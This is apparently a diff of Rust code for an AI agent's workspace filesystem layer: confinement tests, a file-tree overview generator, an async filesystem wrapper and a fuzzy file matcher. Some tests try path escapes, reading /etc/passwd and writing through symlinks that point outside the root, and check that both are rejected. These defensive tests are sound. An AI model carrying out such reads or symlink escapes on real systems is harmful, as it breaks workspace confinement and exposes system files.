assert!(!p1.truncated, "last page is not truncated");
assert_eq!(names(p1), vec!["c.txt", "d.txt"]);
// Offset past the end yields an empty, non-truncated page.
req.offset = 10;
let p2 = list(root, &req, Some(root.to_path_buf())).expect("list");
assert!(!p2.truncated);
assert!(p2.nodes.is_empty());
}
#[test]
fn build_ranged_entry_encodes_utf8_and_binary() {
// UTF-8 chunk under the default encoding → `content`, text/plain,
// full `size` echoed, no line count.
let e = build_ranged_entry(b"hello".to_vec(), 100, FsReadEncoding::Utf8);
assert_eq!(e.content, "hello");
assert!(e.content_base64.is_none());
assert_eq!(e.size, 100);
assert!(e.line_count.is_none());
assert_eq!(e.content_type, "text/plain");
// Explicit base64 of valid UTF-8 stays text/plain but travels in
// `contentBase64`.
let e = build_ranged_entry(b"hi".to_vec(), 2, FsReadEncoding::Base64);
assert!(e.content.is_empty());
assert_eq!(
e.content_base64,
Some(base64::engine::general_purpose::STANDARD.encode(b"hi")),
);
assert_eq!(e.content_type, "text/plain");
// Non-UTF-8 bytes fall back to base64 + octet-stream.
let raw = vec![0xff_u8, 0x00, 0xfe];
let e = build_ranged_entry(raw.clone(), 3, FsReadEncoding::Utf8);
assert!(e.content.is_empty());
assert_eq!(
e.content_base64,
Some(base64::engine::general_purpose::STANDARD.encode(&raw)),
);
assert_eq!(e.content_type, "application/octet-stream");
}
// Confinement (WorkspaceOp::execute) — covers both local and proxy dispatch.
#[tokio::test]
async fn read_write_within_root_ok() {
let ws = crate::handle::tests::make_confining_handle();
let root = ws.root_cwd().unwrap();
FsWriteFileReq {
path: "sub/data.txt".into(),
cwd: Some(root.clone()),
content: "hello".into(),
create_dirs: true,
}
.execute(&ws, None)
.await
.expect("in-root write must succeed");
let data = FsReadFileReq {
path: "sub/data.txt".into(),
cwd: Some(root.clone()),
offset: None,
length: None,
max_bytes: 1 << 20,
encoding: FsReadEncoding::Utf8,
}
.execute(&ws, None)
.await
.expect("in-root read must succeed");
assert_eq!(data.content, "hello");
}
#[tokio::test]
async fn read_file_rejects_absolute_escape() {
let ws = crate::handle::tests::make_confining_handle();
let err = FsReadFileReq {
path: "/etc/passwd".into(),
cwd: None,
offset: None,
length: None,
max_bytes: 1 << 20,
encoding: FsReadEncoding::Utf8,
}
.execute(&ws, None)
.await
.expect_err("absolute escape must be rejected");
assert!(
err.to_string().contains("workspace root"),
"unexpected error: {err}"
);
}
#[tokio::test]
#[cfg(unix)]
async fn read_file_rejects_symlink_escape() {
use std::os::unix::fs::symlink;
let ws = crate::handle::tests::make_confining_handle();
let root = ws.root_cwd().unwrap();
let outside = tempfile::tempdir().unwrap();
std::fs::write(outside.path().join("secret.txt"), b"secret").unwrap();
symlink(outside.path(), root.join("escape_link")).unwrap();
let err = FsReadFileReq {
path: "escape_link/secret.txt".into(),
cwd: Some(root.clone()),
offset: None,
length: None,
max_bytes: 1 << 20,
encoding: FsReadEncoding::Utf8,
}
.execute(&ws, None)
.await
.expect_err("symlink escape must be rejected");
assert!(
err.to_string().contains("workspace root"),
"unexpected error: {err}"
);
}
#[tokio::test]
#[cfg(unix)]
async fn write_file_rejects_symlink_escape() {
use std::os::unix::fs::symlink;
let ws = crate::handle::tests::make_confining_handle();
let root = ws.root_cwd().unwrap();
let outside = tempfile::tempdir().unwrap();
symlink(outside.path(), root.join("escape_link")).unwrap();
let err = FsWriteFileReq {
path: "escape_link/injected.txt".into(),
cwd: Some(root.clone()),
content: "x".into(),
create_dirs: true,
}
.execute(&ws, None)
.await
.expect_err("symlink escape write must be rejected");
assert!(
err.to_string().contains("workspace root"),
"unexpected error: {err}"
);
assert!(
!outside.path().join("injected.txt").exists(),
"write must not land outside the workspace root"
);
}
// A *dangling* in-root symlink (target outside root, not yet created) must
// not let a write escape via `open(O_CREAT)` following the link.
#[tokio::test]
#[cfg(unix)]
async fn write_file_rejects_dangling_symlink_escape() {
use std::os::unix::fs::symlink;
let ws = crate::handle::tests::make_confining_handle();
let root = ws.root_cwd().unwrap();
let outside = tempfile::tempdir().unwrap();
let target = outside.path().join("new.txt");
symlink(&target, root.join("lnk")).unwrap();
let err = FsWriteFileReq {
path: "lnk".into(),
cwd: Some(root.clone()),
content: "x".into(),
create_dirs: true,
}
.execute(&ws, None)
.await
.expect_err("dangling symlink escape write must be rejected");
assert!(
err.to_string().contains("workspace root"),
"unexpected error: {err}"
);
assert!(
!target.exists(),
"write must not create the file outside root"
);
}
#[tokio::test]
#[cfg(unix)]
async fn list_excludes_symlink_escape() {
use std::os::unix::fs::symlink;
let ws = crate::handle::tests::make_confining_handle();
let root = ws.root_cwd().unwrap();
let outside = tempfile::tempdir().unwrap();
std::fs::write(outside.path().join("secret.txt"), b"x").unwrap();
symlink(outside.path(), root.join("escape_link")).unwrap();
std::fs::write(root.join("inside.txt"), b"y").unwrap();
let mut req = list_req(1000);
req.path = ".".into();
req.cwd = Some(root.clone());
req.depth = 2;
let data = req.execute(&ws, None).await.expect("list must succeed");
let names: Vec<&str> = data.nodes.iter().map(|n| n.name.as_str()).collect();
assert!(names.contains(&"inside.txt"), "in-root file: {names:?}");
assert!(
!data.nodes.iter().any(|n| n.path.contains("secret.txt")),
"escaping symlink target must not be enumerated: {names:?}"
);
}
}
@@ -0,0 +1,526 @@
//! Generates the file-tree based on how we are using it during training
//! This gives the model an overview of the project and helps it navigate and understand
//! the repository better, cold-starting the exploration
use std::collections::{HashMap, VecDeque};
use std::path::{Path, PathBuf};
use std::time::Instant;
use dashmap::DashMap;
use ignore::{WalkBuilder, WalkState};
use crate::file_system::FsError;
/// Number of threads for parallel directory walking
const NUM_WALK_THREADS: usize = 8;
/// Configuration for limiting file tree traversal to prevent runaway I/O
/// on very large or deeply nested directories.
#[derive(Debug, Clone, Copy)]
pub struct ListContentsLimits {
/// Maximum number of characters in the output
pub max_characters: usize,
/// Maximum depth to traverse (0 = root only)
pub max_depth: usize,
/// Maximum number of directories to visit during traversal
pub max_dirs_visited: usize,
}
impl Default for ListContentsLimits {
fn default() -> Self {
Self {
max_characters: 10_000,
max_depth: 12,
max_dirs_visited: 2000,
}
}
}
impl ListContentsLimits {
pub fn new(max_characters: usize, max_depth: usize, max_dirs_visited: usize) -> Self {
Self {
max_characters,
max_depth,
max_dirs_visited,
}
}
}
fn get_top_exts(files: &[String]) -> Vec<(String, usize)> {
let mut ext_counts: HashMap<String, usize> = HashMap::new();
for item in files {
let ext = if let Some(e) = Path::new(item).extension() {
format!(".{}", e.to_str().unwrap_or("").to_lowercase())
} else {
String::new()
};
*ext_counts.entry(ext).or_insert(0) += 1;
}
let mut vec: Vec<_> = ext_counts.into_iter().collect();
vec.sort_by_key(|&(_, count)| std::cmp::Reverse(count));
vec
}
fn get_file_ext_str(files: &[String], k: usize) -> String {
let top_exts = get_top_exts(files);
let include_dots = top_exts.len() > k
|| (top_exts.len() == k && top_exts.iter().any(|(ext, _)| ext.is_empty()));
let top_k_exts = &top_exts[0..std::cmp::min(k, top_exts.len())];
if top_k_exts.is_empty() {
return String::new();
}
if top_k_exts.len() == 1 && top_k_exts[0].0.is_empty() {
return "(...)".to_string();
}
let filtered_top_k_exts: Vec<_> = top_k_exts
.iter()
.filter(|(ext, _)| !ext.is_empty())
.collect();
let top_counts = filtered_top_k_exts
.iter()
.map(|(ext, cnt)| format!("{} *{}", cnt, ext))
.collect::<Vec<_>>()
.join(", ");
if include_dots {
format!("({top_counts}, ...)")
} else if top_counts.is_empty() {
String::new()
} else {
format!("({top_counts})")
}
}
/// Pre-collected directory contents from a single walk
struct DirContents {
files: Vec<String>,
dirs: Vec<String>,
}
/// Performs a single parallel walk and collects all directory contents into a map.
/// Returns a map from directory path -> (files, subdirs) in that directory.
fn collect_all_contents(
root: &Path,
max_depth: usize,
max_dirs: usize,
) -> Result<HashMap<PathBuf, DirContents>, FsError> {
let _timer = (); // instrumentation_timer noop (dev infra)
let contents_map: DashMap<PathBuf, DirContents> = DashMap::new();
let files_count = std::sync::atomic::AtomicUsize::new(0);
let dirs_count = std::sync::atomic::AtomicUsize::new(0);
let entries_visited = std::sync::atomic::AtomicUsize::new(0);
// Initialize root entry
contents_map.insert(
root.to_path_buf(),
DirContents {
files: Vec::new(),
dirs: Vec::new(),
},
);
let walker = WalkBuilder::new(root)
.max_depth(Some(max_depth + 1)) // +1 because depth 0 is root itself
.follow_links(false)
.same_file_system(true)
.ignore(true)
.git_ignore(true)
.git_global(true)
.git_exclude(true)
.hidden(true)
.threads(NUM_WALK_THREADS)
.build_parallel();
tracing::debug!(
root = %root.display(),
max_depth = max_depth,
max_dirs = max_dirs,
threads = NUM_WALK_THREADS,
"Starting parallel file walk"
);
{
let _timer = (); // instrumentation_timer noop (dev infra)
walker.run(|| {
let contents_map = &contents_map;
let files_count = &files_count;
let dirs_count = &dirs_count;
let entries_visited = &entries_visited;
Box::new(move |entry| {
entries_visited.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
// Stop early if we've collected enough directories
if dirs_count.load(std::sync::atomic::Ordering::Relaxed) >= max_dirs {
return WalkState::Quit;
}
let entry = match entry {
Ok(e) => e,
Err(_) => return WalkState::Continue,
};
// Skip root itself
if entry.depth() == 0 {
return WalkState::Continue;
}
let Some(file_type) = entry.file_type() else {
return WalkState::Continue;
};
let path = entry.path();
let Some(parent) = path.parent() else {
return WalkState::Continue;
};
let name = entry.file_name().to_string_lossy().to_string();
if file_type.is_dir() {
dirs_count.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
contents_map
.entry(parent.to_path_buf())
.or_insert_with(|| DirContents {
files: Vec::new(),
dirs: Vec::new(),
})
.dirs
.push(format!("{name}/"));
// Pre-create entry for this directory (even if empty)
contents_map
.entry(path.to_path_buf())
.or_insert_with(|| DirContents {
files: Vec::new(),
dirs: Vec::new(),
});
} else if file_type.is_file() {
files_count.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
contents_map
.entry(parent.to_path_buf())
.or_insert_with(|| DirContents {
files: Vec::new(),
dirs: Vec::new(),
})
.files
.push(name);
}
WalkState::Continue
})
});
}
let _entries_total = entries_visited.load(std::sync::atomic::Ordering::Relaxed);
// (instrumentation_timer.with_field calls removed — dev-only, not part of Phase 1 move)
let mut contents_map: HashMap<PathBuf, DirContents> = {
let _timer = (); // instrumentation_timer noop (dev infra)
contents_map.into_iter().collect()
};
// Sort all entries for stable output
{
let _timer = (); // instrumentation_timer noop (dev infra)
for contents in contents_map.values_mut() {
contents.files.sort_by_cached_key(|n| n.to_lowercase());
contents.dirs.sort_by_cached_key(|n| n.to_lowercase());
}
}
Ok(contents_map)
}
struct DirectoryNode {
depth: usize,
path: PathBuf,
files: Vec<String>,
dirs: Vec<String>,
summary_str: String,
children: Option<HashMap<String, DirectoryNode>>,
num_listed_files: usize,
}
impl DirectoryNode {
fn new(path: PathBuf, depth: usize, contents: &HashMap<PathBuf, DirContents>) -> Self {
let (files, dirs) = contents
.get(&path)
.map(|c| (c.files.clone(), c.dirs.clone()))
.unwrap_or_default();
let mut node = Self {
depth,
path,
files,
dirs,
summary_str: String::new(),
children: None,
num_listed_files: 0,
};
node.summary_str = node.get_remaining_str(&[], false, 3);
node
}
fn get_remaining_str(
&self,
excluded_files: &[String],
exclude_all_dirs: bool,
k: usize,
) -> String {
let remaining_files: Vec<String> = self
.files
.iter()
.filter(|f| !excluded_files.contains(*f))
.cloned()
.collect();
let mut file_ext_str = get_file_ext_str(&remaining_files, k);
if !file_ext_str.is_empty() {
file_ext_str.push(' ');
}
let file_count = remaining_files.len();
let dir_count = if exclude_all_dirs { 0 } else { self.dirs.len() };
let indent = " ".repeat(self.depth + 1);
format!("{indent}- [+{file_count} files {file_ext_str}& {dir_count} dirs]")
}
fn is_expanded(&self) -> bool {
self.children.is_some()
}
fn expand_children(&mut self, contents: &HashMap<PathBuf, DirContents>) {
if self.is_expanded() {
return;
}
let mut children: HashMap<String, DirectoryNode> = HashMap::new();
for dir in &self.dirs {
let child_path = self.path.join(dir.trim_end_matches('/'));
let dir_node = DirectoryNode::new(child_path, self.depth + 1, contents);
children.insert(dir.clone(), dir_node);
}
self.children = Some(children);
self.num_listed_files = std::cmp::min(3, self.files.len());
}
fn unexpand_children(&mut self) {
self.children = None;
self.num_listed_files = 0;
}
fn subitem_str(&self, subitem: &str) -> String {
let indent = " ".repeat(self.depth + 1);
format!("{indent}- {subitem}")
}
fn get_complete_str(&self) -> String {
assert!(self.is_expanded());
let children = self.children.as_ref().unwrap();
let mut remaining_subitems = self.dirs.clone();
remaining_subitems.extend(self.files[0..self.num_listed_files].iter().cloned());
remaining_subitems.sort_by_key(|s| s.to_lowercase());
let mut curr_str = String::new();
for subitem in remaining_subitems {
curr_str.push_str(&self.subitem_str(&subitem));
curr_str.push('\n');
if let Some(child) = children.get(&subitem) {
if child.is_expanded() {
curr_str.push_str(&child.get_complete_str());
curr_str.push('\n');
} else {
curr_str.push_str(&child.summary_str);
curr_str.push('\n');
}
}
}
if self.files.len() > self.num_listed_files {
let remaining_str =
self.get_remaining_str(&self.files[0..self.num_listed_files], true, 3);
curr_str.push_str(&remaining_str);
}
curr_str.trim_end_matches('\n').to_string()
}
}
/// Creates the project overview
pub async fn list_contents(
path: impl Into<PathBuf>,
limits: ListContentsLimits,
) -> Result<String, FsError> {
let _timer = (); // instrumentation_timer noop (dev infra)
let t_total = Instant::now();
let path: PathBuf = path.into();
// Use this only for the printed header
let path_head = {
let s = path.to_string_lossy().replace('\\', "/");
if s.ends_with('/') {
s.to_owned()
} else {
format!("{s}/")
}
};
let lim_characters = limits.max_characters + path_head.len();
// Single walk to collect all directory contents
let path_clone = path.clone();
let max_depth = limits.max_depth;
let max_dirs = limits.max_dirs_visited;
let contents = {
let _timer = (); // instrumentation_timer noop (dev infra)
tokio::task::spawn_blocking(move || collect_all_contents(&path_clone, max_depth, max_dirs))
.await
.map_err(|e| FsError::Other(format!("walk join error: {e}")))?
}?;
let t_walk = t_total.elapsed();
let (
mut root_node,
mut remaining_chars,
to_fit_files,
dirs_visited,
max_depth_reached,
depth_limit_hit,
dirs_limit_hit,
) = {
let _timer = (); // instrumentation_timer noop (dev infra)
let mut root_node = DirectoryNode::new(path, 0, &contents);
let min_chars = path_head.len() + root_node.summary_str.len();
if min_chars > lim_characters {
return Err(FsError::Other(format!(
"Minimum possible string is too long for character limit, {} > {}",
min_chars, lim_characters
)));
}
let mut remaining_chars = lim_characters - min_chars;
let mut to_fit_files = true;
let mut dirs_visited: usize = 1; // Count root as visited
let mut max_depth_reached: usize = 0;
let mut depth_limit_hit = false;
let mut dirs_limit_hit = false;
let mut q: VecDeque<&mut DirectoryNode> = VecDeque::new();
q.push_back(&mut root_node);
while let Some(node) = q.pop_front() {
// Check if we've hit the max directories limit
if dirs_visited >= limits.max_dirs_visited {
dirs_limit_hit = true;
to_fit_files = false;
break;
}
remaining_chars += node.summary_str.len();
node.expand_children(&contents);
dirs_visited += node.dirs.len();
max_depth_reached = max_depth_reached.max(node.depth);
let test_str = node.get_complete_str();
let new_additional_len = test_str.replace('\n', "").len();
if new_additional_len > remaining_chars {
node.unexpand_children();
to_fit_files = false;
break;
}
remaining_chars -= new_additional_len;
if let Some(children_map) = node.children.as_mut() {
let mut child_values: Vec<&mut DirectoryNode> = children_map.values_mut().collect();
child_values.sort_by_key(|node| node.path.to_string_lossy().to_lowercase());
// Filter out children that exceed max_depth
for child in child_values {
if child.depth > limits.max_depth {
depth_limit_hit = true;
continue;
}
q.push_back(child);
}
}
}
(
root_node,
remaining_chars,
to_fit_files,
dirs_visited,
max_depth_reached,
depth_limit_hit,
dirs_limit_hit,
)
};
{
let _timer = (); // instrumentation_timer noop (dev infra)
let mut q: VecDeque<&mut DirectoryNode> = VecDeque::new();
if to_fit_files {
q.push_back(&mut root_node);
}
let mut file_done = false;
while let Some(node) = q.pop_front() {
if !node.is_expanded() {
continue;
}
let num_file_limit = node.files.len();
for i in node.num_listed_files..num_file_limit {
let new_additional_len = node.subitem_str(&node.files[i]).len();
if new_additional_len <= remaining_chars {
node.num_listed_files = i + 1;
remaining_chars -= new_additional_len;
} else {
file_done = true;
break;
}
}
if file_done {
break;
}
if let Some(children_map) = node.children.as_mut() {
let mut child_values: Vec<&mut DirectoryNode> = children_map.values_mut().collect();
child_values.sort_by_key(|node| node.path.to_string_lossy().to_lowercase());
q.extend(child_values);
}
}
}
let output = {
let _timer = (); // instrumentation_timer noop (dev infra)
let mut output = format!("{path_head}\n");
if root_node.is_expanded() {
output.push_str(&root_node.get_complete_str());
} else {
output.push_str(&root_node.summary_str);
}
output
};
// Log warnings when limits are hit
if depth_limit_hit {
tracing::warn!(
path = %path_head,
max_depth = limits.max_depth,
"list_contents: max_depth limit hit, some directories were not traversed"
);
}
if dirs_limit_hit {
tracing::warn!(
path = %path_head,
max_dirs_visited = limits.max_dirs_visited,
dirs_visited = dirs_visited,
"list_contents: max_dirs_visited limit hit, traversal stopped early"
);
}
tracing::debug!(
path = %path_head,
max_characters = limits.max_characters,
max_depth = limits.max_depth,
max_dirs_visited = limits.max_dirs_visited,
dirs_visited = dirs_visited,
max_depth_reached = max_depth_reached,
depth_limit_hit = depth_limit_hit,
dirs_limit_hit = dirs_limit_hit,
output_len = output.len(),
walk_ms = t_walk.as_millis() as u64,
elapsed_ms = t_total.elapsed().as_millis() as u64,
"list_contents complete"
);
Ok(output)
}
@@ -0,0 +1,143 @@
use kigi_paths::ToAbsPath;
use std::io;
use std::path::Path;
use std::sync::Arc;
#[derive(Debug, thiserror::Error)]
pub enum FsError {
#[error(transparent)]
Io(#[from] io::Error),
#[error("{0}")]
Other(String),
}
// TODO: handle atomic write
#[async_trait::async_trait]
pub trait AsyncFileSystem: Send + Sync {
/// Get the root directory for this filesystem.
///
/// This is used to resolve relative paths via `ToAbsPath::to_abs_path(fs.root())`.
fn root(&self) -> &Path;
async fn exists(&self, path: &Path) -> Result<bool, FsError>;
async fn read_file(&self, path: &Path) -> Result<Vec<u8>, FsError>;
/// Read a file if it exists, returning `Ok(None)` when the file is not found.
///
/// The default implementation calls `exists()` then `read_file()` (two operations).
/// Backends should override this to collapse both into a single operation —
/// e.g. one ACP RPC or one syscall — to avoid a redundant round trip.
async fn try_read_file(&self, path: &Path) -> Result<Option<Vec<u8>>, FsError> {
if self.exists(path).await? {
Ok(Some(self.read_file(path).await?))
} else {
Ok(None)
}
}
async fn write_file(&self, path: &Path, data: &[u8]) -> Result<(), FsError>;
/// Delete a file (for rewind functionality)
async fn delete_file(&self, path: &Path) -> Result<(), FsError>;
}
pub fn bytes_to_string(file_bytes: Vec<u8>) -> Result<String, FsError> {
String::from_utf8(file_bytes).map_err(|e| FsError::Other(e.to_string()))
}
// ============================================================================
// AsyncFsWrapper - Generic wrapper that accepts any path type
// ============================================================================
/// A wrapper around `AsyncFileSystem` that accepts any path type implementing `ToAbsPath`.
///
/// This allows callers to pass `AbsPathBuf`, `RelPathBuf`, `&Path`, or `&PathBuf` directly,
/// and the wrapper automatically resolves them to absolute paths using the filesystem's root.
///
/// # Example
/// ```ignore
/// let wrapper = AsyncFsWrapper::new(fs);
///
/// // All of these work:
/// wrapper.read_to_string(&abs_path).await?;
/// wrapper.read_to_string(&rel_path).await?;
/// wrapper.read_to_string(Path::new("relative/path")).await?;
/// ```
#[derive(Clone)]
pub struct AsyncFsWrapper {
inner: Arc<dyn AsyncFileSystem>,
}
impl AsyncFsWrapper {
pub fn new(fs: Arc<dyn AsyncFileSystem>) -> Self {
Self { inner: fs }
}
/// Get a reference to the inner `Arc<dyn AsyncFileSystem>`.
///
/// This is useful when you need raw access to the underlying filesystem
/// without the path conversion layer.
pub fn inner(&self) -> &Arc<dyn AsyncFileSystem> {
&self.inner
}
/// Get the root directory for this filesystem.
pub fn root(&self) -> &Path {
self.inner.root()
}
/// Check if a file exists.
pub async fn exists<P: ToAbsPath>(&self, path: P) -> Result<bool, FsError> {
self.inner.exists(&path.to_abs_path(self.root())).await
}
/// Read a file as bytes.
pub async fn read_file<P: ToAbsPath>(&self, path: P) -> Result<Vec<u8>, FsError> {
self.inner.read_file(&path.to_abs_path(self.root())).await
}
/// Read a file as a UTF-8 string.
pub async fn read_to_string<P: ToAbsPath>(&self, path: P) -> Result<String, FsError> {
let bytes = self.inner.read_file(&path.to_abs_path(self.root())).await?;
bytes_to_string(bytes)
}
/// Read a file as bytes if it exists, returning `Ok(None)` when not found.
///
/// Uses a single backend operation instead of separate `exists()` + `read_file()`.
pub async fn try_read_file<P: ToAbsPath>(&self, path: P) -> Result<Option<Vec<u8>>, FsError> {
self.inner
.try_read_file(&path.to_abs_path(self.root()))
.await
}
/// Read a file as a UTF-8 string if it exists, returning `Ok(None)` when not found.
///
/// Uses a single backend operation instead of separate `exists()` + `read_to_string()`.
pub async fn try_read_to_string<P: ToAbsPath>(
&self,
path: P,
) -> Result<Option<String>, FsError> {
match self
.inner
.try_read_file(&path.to_abs_path(self.root()))
.await?
{
Some(bytes) => Ok(Some(bytes_to_string(bytes)?)),
None => Ok(None),
}
}
/// Write data to a file.
pub async fn write_file<P: ToAbsPath>(&self, path: P, data: &[u8]) -> Result<(), FsError> {
self.inner
.write_file(&path.to_abs_path(self.root()), data)
.await
}
/// Delete a file.
pub async fn delete_file<P: ToAbsPath>(&self, path: P) -> Result<(), FsError> {
self.inner.delete_file(&path.to_abs_path(self.root())).await
}
}
@@ -0,0 +1,479 @@
use std::{
path::{Path, PathBuf},
sync::{
Arc, Mutex,
atomic::{AtomicBool, Ordering},
mpsc::{RecvError, RecvTimeoutError, SyncSender, sync_channel},
},
thread::{self, JoinHandle},
time::Duration,
};
use ignore::{DirEntry, WalkBuilder, WalkState, overrides::OverrideBuilder};
use nucleo::{
Match, Matcher, Nucleo, Snapshot, Utf32String,
pattern::{CaseMatching, MultiPattern, Normalization, Pattern},
};
const NUM_NUCLEO_THREADS: usize = 2;
const NUM_IGNORE_THREADS: usize = 8;
#[derive(Debug, Clone, Default)]
pub struct FuzzyMatchResult {
// Path of the matched entry.
pub path: Utf32String,
/// Matcher score, higher is better.
pub score: u32,
/// Matched indices of characters.
pub indices: Vec<u32>,
/// Is it a directory.
pub is_dir: bool,
}
#[derive(Debug, Clone, Copy, Default)]
pub struct FuzzyMatcherStatus {
pub changed: bool,
pub done: bool,
}
#[derive(Debug, Clone)]
struct MatchEntry {
pub is_dir: bool,
}
/// A very fast fuzzy matcher that does ignore-walking. Both happen in background threads.
pub struct FuzzyFileMatcher {
root: PathBuf,
query: String,
nucleo: Nucleo<MatchEntry>,
matcher: Matcher,
walk_handle: Option<JoinHandle<()>>,
cancel: Arc<AtomicBool>,
top_entries: Vec<FuzzyMatchResult>,
dirs: bool,
}
impl FuzzyFileMatcher {
/// Create a new matcher with default config focused on matching paths.
pub fn new(root: &Path) -> Self {
let matcher_config = nucleo::Config::DEFAULT.match_paths();
// matcher_config.prefer_prefix = true; // yes or no? nucleo docs lean towards no
let mut nucleo = Nucleo::new(
matcher_config.clone(),
Arc::new(move || ()),
Some(NUM_NUCLEO_THREADS),
1,
);
nucleo.pattern = MultiPattern::new(1);
Self {
root: root.to_owned(),
nucleo,
matcher: Matcher::new(matcher_config),
walk_handle: None,
cancel: Arc::new(AtomicBool::new(false)),
query: String::new(),
top_entries: Vec::new(),
dirs: false,
}
}
pub fn query(&self) -> &str {
&self.query
}
/// Start a new walk and restart nucleo matcher.
pub fn restart_walk_custom(
&mut self,
make_walker: impl FnOnce(&mut WalkBuilder) -> &mut WalkBuilder,
) {
// first, wait for previous walker to finish if it's up
self.cancel.store(true, Ordering::Relaxed);
if let Some(walk_handle) = self.walk_handle.take() {
walk_handle.join().unwrap();
}
// disconnect all injectors and clear snapshots and streams
self.nucleo.restart(true);
// we're back in business
self.cancel.store(false, Ordering::Relaxed);
// build the walker(s)
let walker_builder = make_walker(
WalkBuilder::new(&self.root)
.threads(NUM_IGNORE_THREADS)
.follow_links(false)
.git_ignore(true)
.git_global(true)
.git_exclude(true)
.ignore(true)
.hidden(true)
.require_git(false)
.overrides(
OverrideBuilder::new(&self.root)
.add("!.git")
.unwrap()
.build()
.unwrap(),
),
)
.clone();
fn check_entry<'a>(entry: &'a DirEntry, root: &Path) -> Option<(&'a str, bool)> {
let path = entry.path();
if path != root
&& let Some(file_type) = entry.file_type()
&& (file_type.is_file() || file_type.is_dir())
&& let Ok(path) = path.strip_prefix(root)
&& let Some(path) = path.as_os_str().to_str()
&& !path.is_empty()
{
Some((path, file_type.is_dir()))
} else {
None
}
}
// we'll just do it in a blocking way here assuming it's super fast anyway
let top_walker = walker_builder
.clone()
.max_depth(Some(1))
.sort_by_file_name(|a, b| a.cmp(b))
.build();
let top_entries = top_walker
.into_iter()
.filter_map(|entry| {
let entry = entry.ok()?;
let (path, is_dir) = check_entry(&entry, &self.root)?;
Some(FuzzyMatchResult {
path: path.into(),
score: 0,
indices: Vec::new(),
is_dir,
})
})
.collect::<Vec<_>>();
let injector = self.nucleo.injector();
let root = self.root.clone();
let cancel = self.cancel.clone();
// link walker threads with injectors and start it up
let walker = walker_builder.build_parallel();
let walk_handle = thread::spawn(move || {
walker.run(|| {
let injector = injector.clone();
let root = root.clone();
let cancel = cancel.clone();
Box::new(move |entry| {
if cancel.load(Ordering::Relaxed) {
return WalkState::Quit;
} else if let Ok(entry) = entry
&& let Some((path, is_dir)) = check_entry(&entry, &root)
{
injector.push(MatchEntry { is_dir }, |_entry, columns| {
columns[0] = path.into();
});
}
WalkState::Continue
})
});
});
self.walk_handle = Some(walk_handle);
self.top_entries = top_entries;
self.nucleo.tick(0);
}
/// Restart the walk with default walker parameters.
pub fn restart_walk(&mut self) {
self.restart_walk_custom(|w| w);
}
/// Set the query to a given string and trigger reparse.
///
/// It will be faster if the current query is a strict prefix of the new query.
pub fn set_query(&mut self, mut query: &str, dirs: bool) {
self.dirs = dirs;
if dirs && query.ends_with('/') {
query = &query[..query.len() - 1];
}
if query == self.query {
return;
}
// see this re: backslash etc: https://github.com/helix-editor/nucleo/pull/87
let append = query.as_bytes().starts_with(self.query.as_bytes())
&& !query.ends_with('\\')
&& !query
.as_bytes()
.last()
.is_some_and(|ch| ch.is_ascii_whitespace());
self.nucleo
.pattern
.reparse(0, query, CaseMatching::Smart, Normalization::Smart, append);
self.nucleo.tick(0);
self.query = query.to_owned();
}
/// Sends a tick to nucleo matcher. Can be safely called at any frequency.
pub fn tick(&mut self, tick_timeout_ms: u64) -> FuzzyMatcherStatus {
if self.query.is_empty() {
return FuzzyMatcherStatus {
done: true,
changed: false,
};
}
let status = self.nucleo.tick(tick_timeout_ms);
let done = self.nucleo.active_injectors() == 0 && !status.running;
FuzzyMatcherStatus {
done,
changed: status.changed,
}
}
/// Total number of currently matched items in the snapshot.
pub fn num_items(&self) -> usize {
if self.query.is_empty() {
self.top_entries.len()
} else {
self.nucleo.snapshot().item_count() as _
}
}
/// Get top `k` items from the snapshot and sort them by score, path length and path.
pub fn get_top_k(&mut self, k: usize) -> Vec<FuzzyMatchResult> {
// note: &mut only because we access self.matcher which has internal allocations
// rust is a bit dumb at times, we'll need this for sorting without cloning
fn sort_by_key_hrtb<T, F, K, Q>(slice: &mut [T], f: F)
where
F: for<'a> Fn(&'a T) -> (Q, &'a K),
K: Ord,
Q: Ord,
{
slice.sort_by(|a, b| f(a).cmp(&f(b)))
}
// special case: if query is empty, return top items only
if self.query.is_empty() {
return self
.top_entries
.iter()
// dirs_only=true means only directories; dirs_only=false means both files and directories
.filter(|e| !self.dirs || e.is_dir)
.take(k)
.cloned()
.collect(); // should be already sorted
}
// https://github.com/helix-editor/helix/blob/d79cce4e4bfc24dd204f1b294c899ed73f7e9453/helix-term/src/ui/completion.rs#L369
// suggested min score = 7 * len + 14
let len = self.query.chars().count() as u32;
let min_score = 7 + len * 14;
let mut items = Vec::with_capacity(k);
let pattern = self.nucleo.pattern.column_pattern(0);
let snapshot = self.nucleo.snapshot();
let mut iter = snapshot.matches().iter().peekable();
while items.len() < k
&& let Some(m) = iter.next()
// for empty queries, return everything; otherwise, apply heuristic min-score limit
&& (self.query.is_empty() || m.score >= min_score)
{
fn extract_match(
m: &Match,
snapshot: &Snapshot<MatchEntry>,
pattern: &Pattern,
matcher: &mut Matcher,
dirs_only: bool,
) -> Option<FuzzyMatchResult> {
let item = unsafe { snapshot.get_item_unchecked(m.idx) };
// dirs_only=true means only directories; dirs_only=false means both files and directories
if dirs_only && !item.data.is_dir {
return None;
}
let path = item.matcher_columns[0].clone();
let mut indices = Vec::new();
if !pattern.atoms.is_empty() {
pattern.indices(path.slice(..), matcher, &mut indices);
}
Some(FuzzyMatchResult {
path,
score: m.score,
indices,
is_dir: item.data.is_dir,
})
}
if !pattern.atoms.is_empty() {
let start = items.len();
items.extend(extract_match(
m,
snapshot,
pattern,
&mut self.matcher,
self.dirs,
));
while iter.peek().is_some_and(|p| p.score == m.score) {
let m = iter.next().unwrap();
items.extend(extract_match(
m,
snapshot,
pattern,
&mut self.matcher,
self.dirs,
));
}
sort_by_key_hrtb(&mut items[start..], |m| (m.path.len(), &m.path));
} else {
items.extend(extract_match(
m,
snapshot,
pattern,
&mut self.matcher,
self.dirs,
));
}
}
if items.len() > k {
items.truncate(k);
}
if pattern.atoms.is_empty() {
sort_by_key_hrtb(&mut items, |m| (true, &m.path));
}
items
}
}
impl Drop for FuzzyFileMatcher {
fn drop(&mut self) {
// note: walker threads *may* get detached for a little while but hopefully not for too long
self.cancel.store(true, Ordering::Relaxed);
}
}
#[derive(Debug, Clone, Default)]
pub struct FuzzyMatcherDaemonResults {
pub topk: Arc<[FuzzyMatchResult]>,
pub num_items: usize,
pub status: FuzzyMatcherStatus,
pub generation: usize,
}
impl AsRef<[FuzzyMatchResult]> for FuzzyMatcherDaemonResults {
